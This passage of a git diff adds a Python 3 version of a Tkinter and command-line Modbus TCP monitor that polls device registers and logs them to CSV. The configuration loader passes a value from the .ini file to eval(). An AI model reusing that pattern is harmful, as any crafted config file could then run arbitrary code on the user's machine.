data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = 